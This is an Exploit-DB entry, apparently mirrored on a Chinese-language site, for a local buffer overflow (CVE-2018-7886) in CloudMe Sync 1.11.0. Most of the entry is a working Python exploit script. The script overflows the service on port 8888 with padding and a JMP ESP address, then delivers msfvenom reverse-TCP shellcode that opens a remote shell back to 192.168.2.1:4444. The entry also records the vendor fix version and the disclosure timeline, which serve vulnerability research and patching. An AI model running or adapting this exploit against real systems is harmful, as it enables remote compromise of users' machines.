CloudMe Sync 1.11.0 – Local Buffer Overflow

  • 作者: Prasenjit Kanti Paul
    日期: 2018-04-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44470/
  • #######################################################
    # Exploit Title: Local Buffer Overflow on CloudMe Sync v1.11.0
    # Date: 08.03.2018
    # Vendor Homepage: https://www.cloudme.com/en
    # Software Link: https://www.cloudme.com/downloads/CloudMe_1110.exe
    # Category: Local
    # Exploit Discovery: Prasenjit Kanti Paul
    # Web: http://hack2rule.wordpress.com/
    # Version: 1.11.0
    # Tested on: Windows 7 SP1 x86
    # CVE: CVE-2018-7886
    # Solution: Update CloudMe Sync to 1.11.2
    #######################################################
    
    #Disclosure Date: March 12, 2018
    #Response Date: March 14, 2018
    #Bug Fixed: April 12, 2018
    
    # Run this file in victim's win 7 sp1 x86 system where CloudMe Sync 1.11.0 has been installed.
    
    import socket
    
    target="127.0.0.1" 
    
    junk="A"*1052
    
    eip="\x7B\x8A\xA9\x68"		#68a98a7b : JMP ESP - Qt5Core.dll
    
    #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f c
    
    shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
    "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
    "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
    "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
    "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
    "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
    "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
    "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
    "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
    "\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
    "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x02\x01\x68"
    "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
    "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
    "\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
    "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
    "\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
    "\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
    "\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
    "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
    
    payload=junk+eip+shellcode
    
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,8888))
    s.send(payload)